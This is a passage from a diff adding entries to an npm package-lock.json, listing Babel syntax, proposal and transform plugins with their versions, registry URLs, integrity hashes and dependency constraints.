"@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-proposal-optional-chaining": { + "version": "7.21.0", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-optional-chaining/-/plugin-proposal-optional-chaining-7.21.0.tgz", + "integrity": "sha512-p4zeefM72gpmEe2fkUr/OnOXpWEf8nAgk7ZYVqqfFiyIG7oFfVZcCrU64hWn5xp4tQ9LkV4bTIa5rD0KANpKNA==", + "deprecated": "This proposal has been merged to the ECMAScript standard and thus this plugin is no longer maintained. Please use @babel/plugin-transform-optional-chaining instead.", + "dependencies": { + "@babel/helper-plugin-utils": "^7.20.2", + "@babel/helper-skip-transparent-expression-wrappers": "^7.20.0", + "@babel/plugin-syntax-optional-chaining": "^7.8.3" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-proposal-private-methods": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-private-methods/-/plugin-proposal-private-methods-7.18.6.tgz", + "integrity": "sha512-nutsvktDItsNn4rpGItSNV2sz1XwS+nfU0Rg8aCx3W3NOKVzdMjJRu0O5OkgDp3ZGICSTbgRpxZoWsxoKRvbeA==", + "deprecated": "This proposal has been merged to the ECMAScript standard and thus this plugin is no longer maintained. Please use @babel/plugin-transform-private-methods instead.", + "dependencies": { + "@babel/helper-create-class-features-plugin": "^7.18.6", + "@babel/helper-plugin-utils": "^7.18.6" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-proposal-private-property-in-object": { + "version": "7.21.11", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-private-property-in-object/-/plugin-proposal-private-property-in-object-7.21.11.tgz", + "integrity": "sha512-0QZ8qP/3RLDVBwBFoWAwCtgcDZJVwA5LUJRZU8x2YFfKNuFq161wK3cuGrALu5yiPu+vzwTAg/sMWVNeWeNyaw==", + "deprecated": "This proposal has been merged to the ECMAScript standard and thus this plugin is no longer maintained. Please use @babel/plugin-transform-private-property-in-object instead.", + "dev": true, + "dependencies": { + "@babel/helper-annotate-as-pure": "^7.18.6", + "@babel/helper-create-class-features-plugin": "^7.21.0", + "@babel/helper-plugin-utils": "^7.20.2", + "@babel/plugin-syntax-private-property-in-object": "^7.14.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-async-generators": { + "version": "7.8.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-async-generators/-/plugin-syntax-async-generators-7.8.4.tgz", + "integrity": "sha512-tycmZxkGfZaxhMRbXlPXuVFpdWlXpir2W4AMhSJgRKzk/eDlIXOhb2LHWoLpDF7TEHylV5zNhykX6KAgHJmTNw==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.8.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-bigint": { + "version": "7.8.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-bigint/-/plugin-syntax-bigint-7.8.3.tgz", + "integrity": "sha512-wnTnFlG+YxQm3vDxpGE57Pj0srRU4sHE/mDkt1qv2YJJSeUAec2ma4WLUnUPeKjyrfntVwe/N6dCXpU+zL3Npg==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.8.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-class-properties": { + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-class-properties/-/plugin-syntax-class-properties-7.12.13.tgz", + "integrity": "sha512-fm4idjKla0YahUNgFNLCB0qySdsoPiZP3iQE3rky0mBUtMZ23yDJ9SJdg6dXTSDnulOVqiF3Hgr9nbXvXTQZYA==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.12.13" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-class-static-block": { + "version": "7.14.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-class-static-block/-/plugin-syntax-class-static-block-7.14.5.tgz", + "integrity": "sha512-b+YyPmr6ldyNnM6sqYeMWE+bgJcJpO6yS4QD7ymxgH34GBPNDM/THBh8iunyvKIZztiwLH4CJZ0RxTk9emgpjw==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.14.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-decorators": { + "version": "7.23.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-decorators/-/plugin-syntax-decorators-7.23.3.tgz", + "integrity": "sha512-cf7Niq4/+/juY67E0PbgH0TDhLQ5J7zS8C/Q5FFx+DWyrRa9sUQdTXkjqKu8zGvuqr7vw1muKiukseihU+PJDA==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-dynamic-import": { + "version": "7.8.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-dynamic-import/-/plugin-syntax-dynamic-import-7.8.3.tgz", + "integrity": "sha512-5gdGbFon+PszYzqs83S3E5mpi7/y/8M9eC90MRTZfduQOYW76ig6SOSPNe41IG5LoP3FGBn2N0RjVDSQiS94kQ==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.8.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-export-namespace-from": { + "version": "7.8.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-export-namespace-from/-/plugin-syntax-export-namespace-from-7.8.3.tgz", + "integrity": "sha512-MXf5laXo6c1IbEbegDmzGPwGNTsHZmEy6QGznu5Sh2UCWvueywb2ee+CCE4zQiZstxU9BMoQO9i6zUFSY0Kj0Q==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.8.3" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-flow": { + "version": "7.23.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-flow/-/plugin-syntax-flow-7.23.3.tgz", + "integrity": "sha512-YZiAIpkJAwQXBJLIQbRFayR5c+gJ35Vcz3bg954k7cd73zqjvhacJuL9RbrzPz8qPmZdgqP6EUKwy0PCNhaaPA==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-import-assertions": { + "version": "7.23.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-import-assertions/-/plugin-syntax-import-assertions-7.23.3.tgz", + "integrity": "sha512-lPgDSU+SJLK3xmFDTV2ZRQAiM7UuUjGidwBywFavObCiZc1BeAAcMtHJKUya92hPHO+at63JJPLygilZard8jw==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-import-attributes": { + "version": "7.23.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-import-attributes/-/plugin-syntax-import-attributes-7.23.3.tgz", + "integrity": "sha512-pawnE0P9g10xgoP7yKr6CK63K2FMsTE+FZidZO/1PwRdzmAPVs+HS1mAURUsgaoxammTJvULUdIkEK0gOcU2tA==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-import-meta": { + "version": "7.10.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-import-meta/-/plugin-syntax-import-meta-7.10.4.tgz", + "integrity": "sha512-Yqfm+XDx0+Prh3VSeEQCPU81yC+JWZ2pDPFSS4ZdpfZhp4MkFMaDC1UqseovEKwSUpnIL7+vK+Clp7bfh0iD7g==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.10.4" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-json-strings": { + "version": "7.8.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-json-strings/-/plugin-syntax-json-strings-7.8.3.tgz", + "integrity": "sha512-lY6kdGpWHvjoe2vk4WrAapEuBR69EMxZl+RoGRhrFGNYVK8mOPAW8VfbT/ZgrFbXlDNiiaxQnAtgVCZ6jv30EA==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.8.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-jsx": { + "version": "7.23.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-jsx/-/plugin-syntax-jsx-7.23.3.tgz", + "integrity": "sha512-EB2MELswq55OHUoRZLGg/zC7QWUKfNLpE57m/S2yr1uEneIgsTgrSzXP3NXEsMkVn76OlaVVnzN+ugObuYGwhg==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-logical-assignment-operators": { + "version": "7.10.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-logical-assignment-operators/-/plugin-syntax-logical-assignment-operators-7.10.4.tgz", + "integrity": "sha512-d8waShlpFDinQ5MtvGU9xDAOzKH47+FFoney2baFIoMr952hKOLp1HR7VszoZvOsV/4+RRszNY7D17ba0te0ig==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.10.4" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-nullish-coalescing-operator": { + "version": "7.8.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-nullish-coalescing-operator/-/plugin-syntax-nullish-coalescing-operator-7.8.3.tgz", + "integrity": "sha512-aSff4zPII1u2QD7y+F8oDsz19ew4IGEJg9SVW+bqwpwtfFleiQDMdzA/R+UlWDzfnHFCxxleFT0PMIrR36XLNQ==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.8.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-numeric-separator": { + "version": "7.10.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-numeric-separator/-/plugin-syntax-numeric-separator-7.10.4.tgz", + "integrity": "sha512-9H6YdfkcK/uOnY/K7/aA2xpzaAgkQn37yzWUMRK7OaPOqOpGS1+n0H5hxT9AUw9EsSjPW8SVyMJwYRtWs3X3ug==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.10.4" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-object-rest-spread": { + "version": "7.8.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-object-rest-spread/-/plugin-syntax-object-rest-spread-7.8.3.tgz", + "integrity": "sha512-XoqMijGZb9y3y2XskN+P1wUGiVwWZ5JmoDRwx5+3GmEplNyVM2s2Dg8ILFQm8rWM48orGy5YpI5Bl8U1y7ydlA==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.8.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-optional-catch-binding": { + "version": "7.8.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-optional-catch-binding/-/plugin-syntax-optional-catch-binding-7.8.3.tgz", + "integrity": "sha512-6VPD0Pc1lpTqw0aKoeRTMiB+kWhAoT24PA+ksWSBrFtl5SIRVpZlwN3NNPQjehA2E/91FV3RjLWoVTglWcSV3Q==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.8.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-optional-chaining": { + "version": "7.8.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-optional-chaining/-/plugin-syntax-optional-chaining-7.8.3.tgz", + "integrity": "sha512-KoK9ErH1MBlCPxV0VANkXW2/dw4vlbGDrFgz8bmUsBGYkFRcbRwMh6cIJubdPrkxRwuGdtCk0v/wPTKbQgBjkg==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.8.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-private-property-in-object": { + "version": "7.14.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-private-property-in-object/-/plugin-syntax-private-property-in-object-7.14.5.tgz", + "integrity": "sha512-0wVnp9dxJ72ZUJDV27ZfbSj6iHLoytYZmh3rFcxNnvsJF3ktkzLDZPy/mA17HGsaQT3/DQsWYX1f1QGWkCoVUg==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.14.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-top-level-await": { + "version": "7.14.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-top-level-await/-/plugin-syntax-top-level-await-7.14.5.tgz", + "integrity": "sha512-hx++upLv5U1rgYfwe1xBQUhRmU41NEvpUvrp8jkrSCdvGSnM5/qdRMtylJ6PG5OFkBaHkbTAKTnd3/YyESRHFw==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.14.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-typescript": { + "version": "7.23.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-typescript/-/plugin-syntax-typescript-7.23.3.tgz", + "integrity": "sha512-9EiNjVJOMwCO+43TqoTrgQ8jMwcAd0sWyXi9RPfIsLTj4R2MADDDQXELhffaUx/uJv2AYcxBgPwH6j4TIA4ytQ==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-unicode-sets-regex": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-unicode-sets-regex/-/plugin-syntax-unicode-sets-regex-7.18.6.tgz", + "integrity": "sha512-727YkEAPwSIQTv5im8QHz3upqp92JTWhidIC81Tdx4VJYIte/VndKf1qKrfnnhPLiPghStWfvC/iFaMCQu7Nqg==", + "dependencies": { + "@babel/helper-create-regexp-features-plugin": "^7.18.6", + "@babel/helper-plugin-utils": "^7.18.6" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, + "node_modules/@babel/plugin-transform-arrow-functions": { + "version": "7.23.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-arrow-functions/-/plugin-transform-arrow-functions-7.23.3.tgz", + "integrity": "sha512-NzQcQrzaQPkaEwoTm4Mhyl8jI1huEL/WWIEvudjTCMJ9aBZNpsJbMASx7EQECtQQPS/DcnFpo0FIh3LvEO9cxQ==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-async-generator-functions": { + "version": "7.23.9", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-async-generator-functions/-/plugin-transform-async-generator-functions-7.23.9.tgz", + "integrity": "sha512-8Q3veQEDGe14dTYuwagbRtwxQDnytyg1JFu4/HwEMETeofocrB0U0ejBJIXoeG/t2oXZ8kzCyI0ZZfbT80VFNQ==", + "dependencies": { + "@babel/helper-environment-visitor": "^7.22.20", + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/helper-remap-async-to-generator": "^7.22.20", + "@babel/plugin-syntax-async-generators": "^7.8.4" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-async-to-generator": { + "version": "7.23.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-async-to-generator/-/plugin-transform-async-to-generator-7.23.3.tgz", + "integrity": "sha512-A7LFsKi4U4fomjqXJlZg/u0ft/n8/7n7lpffUP/ZULx/DtV9SGlNKZolHH6PE8Xl1ngCc0M11OaeZptXVkfKSw==", + "dependencies": { + "@babel/helper-module-imports": "^7.22.15", + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/helper-remap-async-to-generator": "^7.22.20" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-block-scoped-functions": { + "version": "7.23.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-block-scoped-functions/-/plugin-transform-block-scoped-functions-7.23.3.tgz", + "integrity": "sha512-vI+0sIaPIO6CNuM9Kk5VmXcMVRiOpDh7w2zZt9GXzmE/9KD70CUEVhvPR/etAeNK/FAEkhxQtXOzVF3EuRL41A==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-block-scoping": { + "version": "7.23.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-block-scoping/-/plugin-transform-block-scoping-7.23.4.tgz", + "integrity": "sha512-0QqbP6B6HOh7/8iNR4CQU2Th/bbRtBp4KS9vcaZd1fZ0wSh5Fyssg0UCIHwxh+ka+pNDREbVLQnHCMHKZfPwfw==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-class-properties": { + "version": "7.23.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-class-properties/-/plugin-transform-class-properties-7.23.3.tgz", + "integrity": "sha512-uM+AN8yCIjDPccsKGlw271xjJtGii+xQIF/uMPS8H15L12jZTsLfF4o5vNO7d/oUguOyfdikHGc/yi9ge4SGIg==", + "dependencies": { + "@babel/helper-create-class-features-plugin": "^7.22.15", + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-class-static-block": { + "version": "7.23.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-class-static-block/-/plugin-transform-class-static-block-7.23.4.tgz", + "integrity": "sha512-nsWu/1M+ggti1SOALj3hfx5FXzAY06fwPJsUZD4/A5e1bWi46VUIWtD+kOX6/IdhXGsXBWllLFDSnqSCdUNydQ==", + "dependencies": { + "@babel/helper-create-class-features-plugin": "^7.22.15", + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/plugin-syntax-class-static-block": "^7.14.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.12.0" + } + }, + "node_modules/@babel/plugin-transform-classes": { + "version": "7.23.8", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-classes/-/plugin-transform-classes-7.23.8.tgz", + "integrity": "sha512-yAYslGsY1bX6Knmg46RjiCiNSwJKv2IUC8qOdYKqMMr0491SXFhcHqOdRDeCRohOOIzwN/90C6mQ9qAKgrP7dg==", + "dependencies": { + "@babel/helper-annotate-as-pure": "^7.22.5", + "@babel/helper-compilation-targets": "^7.23.6", + "@babel/helper-environment-visitor": "^7.22.20", + "@babel/helper-function-name": "^7.23.0", + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/helper-replace-supers": "^7.22.20", + "@babel/helper-split-export-declaration": "^7.22.6", + "globals": "^11.1.0" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-computed-properties": { + "version": "7.23.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-computed-properties/-/plugin-transform-computed-properties-7.23.3.tgz", + "integrity": "sha512-dTj83UVTLw/+nbiHqQSFdwO9CbTtwq1DsDqm3CUEtDrZNET5rT5E6bIdTlOftDTDLMYxvxHNEYO4B9SLl8SLZw==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/template": "^7.22.15" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-destructuring": { + "version": "7.23.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-destructuring/-/plugin-transform-destructuring-7.23.3.tgz", + "integrity": "sha512-n225npDqjDIr967cMScVKHXJs7rout1q+tt50inyBCPkyZ8KxeI6d+GIbSBTT/w/9WdlWDOej3V9HE5Lgk57gw==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-dotall-regex": { + "version": "7.23.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-dotall-regex/-/plugin-transform-dotall-regex-7.23.3.tgz", + "integrity": "sha512-vgnFYDHAKzFaTVp+mneDsIEbnJ2Np/9ng9iviHw3P/KVcgONxpNULEW/51Z/BaFojG2GI2GwwXck5uV1+1NOYQ==", + "dependencies": { + "@babel/helper-create-regexp-features-plugin": "^7.22.15", + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-duplicate-keys": { + "version": "7.23.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-duplicate-keys/-/plugin-transform-duplicate-keys-7.23.3.tgz", + "integrity": "sha512-RrqQ+BQmU3Oyav3J+7/myfvRCq7Tbz+kKLLshUmMwNlDHExbGL7ARhajvoBJEvc+fCguPPu887N+3RRXBVKZUA==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-dynamic-import": { + "version": "7.23.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-dynamic-import/-/plugin-transform-dynamic-import-7.23.4.tgz", + "integrity": "sha512-V6jIbLhdJK86MaLh4Jpghi8ho5fGzt3imHOBu/x0jlBaPYqDoWz4RDXjmMOfnh+JWNaQleEAByZLV0QzBT4YQQ==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/plugin-syntax-dynamic-import": "^7.8.3" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-exponentiation-operator": { + "version": "7.23.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-exponentiation-operator/-/plugin-transform-exponentiation-operator-7.23.3.tgz", + "integrity": "sha512-5fhCsl1odX96u7ILKHBj4/Y8vipoqwsJMh4csSA8qFfxrZDEA4Ssku2DyNvMJSmZNOEBT750LfFPbtrnTP90BQ==", + "dependencies": { + "@babel/helper-builder-binary-assignment-operator-visitor": "^7.22.15", + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-export-namespace-from": { + "version": "7.23.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-export-namespace-from/-/plugin-transform-export-namespace-from-7.23.4.tgz", + "integrity": "sha512-GzuSBcKkx62dGzZI1WVgTWvkkz84FZO5TC5T8dl/Tht/rAla6Dg/Mz9Yhypg+ezVACf/rgDuQt3kbWEv7LdUDQ==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/plugin-syntax-export-namespace-from": "^7.8.3" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-flow-strip-types": { + "version": "7.23.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-flow-strip-types/-/plugin-transform-flow-strip-types-7.23.3.tgz", + "integrity": "sha512-26/pQTf9nQSNVJCrLB1IkHUKyPxR+lMrH2QDPG89+Znu9rAMbtrybdbWeE9bb7gzjmE5iXHEY+e0HUwM6Co93Q==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/plugin-syntax-flow": "^7.23.3" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-for-of": { + "version": "7.23.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-for-of/-/plugin-transform-for-of-7.23.6.tgz", + "integrity": "sha512-aYH4ytZ0qSuBbpfhuofbg/e96oQ7U2w1Aw/UQmKT+1l39uEhUPoFS3fHevDc1G0OvewyDudfMKY1OulczHzWIw==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/helper-skip-transparent-expression-wrappers": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-function-name": { + "version": "7.23.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-function-name/-/plugin-transform-function-name-7.23.3.tgz", + "integrity": "sha512-I1QXp1LxIvt8yLaib49dRW5Okt7Q4oaxao6tFVKS/anCdEOMtYwWVKoiOA1p34GOWIZjUK0E+zCp7+l1pfQyiw==", + "dependencies": { + "@babel/helper-compilation-targets": "^7.22.15", + "@babel/helper-function-name": "^7.23.0", + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-json-strings": { + "version": "7.23.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-json-strings/-/plugin-transform-json-strings-7.23.4.tgz", + "integrity": "sha512-81nTOqM1dMwZ/aRXQ59zVubN9wHGqk6UtqRK+/q+ciXmRy8fSolhGVvG09HHRGo4l6fr/c4ZhXUQH0uFW7PZbg==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/plugin-syntax-json-strings": "^7.8.3" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-literals": { + "version": "7.23.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-literals/-/plugin-transform-literals-7.23.3.tgz", + "integrity": "sha512-wZ0PIXRxnwZvl9AYpqNUxpZ5BiTGrYt7kueGQ+N5FiQ7RCOD4cm8iShd6S6ggfVIWaJf2EMk8eRzAh52RfP4rQ==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-logical-assignment-operators": { + "version": "7.23.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-logical-assignment-operators/-/plugin-transform-logical-assignment-operators-7.23.4.tgz", + "integrity": "sha512-Mc/ALf1rmZTP4JKKEhUwiORU+vcfarFVLfcFiolKUo6sewoxSEgl36ak5t+4WamRsNr6nzjZXQjM35WsU+9vbg==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/plugin-syntax-logical-assignment-operators": "^7.10.4" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-member-expression-literals": { + "version": "7.23.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-member-expression-literals/-/plugin-transform-member-expression-literals-7.23.3.tgz", + "integrity": "sha512-sC3LdDBDi5x96LA+Ytekz2ZPk8i/Ck+DEuDbRAll5rknJ5XRTSaPKEYwomLcs1AA8wg9b3KjIQRsnApj+q51Ag==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-modules-amd": { + "version": "7.23.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-amd/-/plugin-transform-modules-amd-7.23.3.tgz", + "integrity": "sha512-vJYQGxeKM4t8hYCKVBlZX/gtIY2I7mRGFNcm85sgXGMTBcoV3QdVtdpbcWEbzbfUIUZKwvgFT82mRvaQIebZzw==", + "dependencies": { + "@babel/helper-module-transforms": "^7.23.3", + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-modules-commonjs": { + "version": "7.23.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-commonjs/-/plugin-transform-modules-commonjs-7.23.3.tgz", + "integrity": "sha512-aVS0F65LKsdNOtcz6FRCpE4OgsP2OFnW46qNxNIX9h3wuzaNcSQsJysuMwqSibC98HPrf2vCgtxKNwS0DAlgcA==", + "dependencies": { 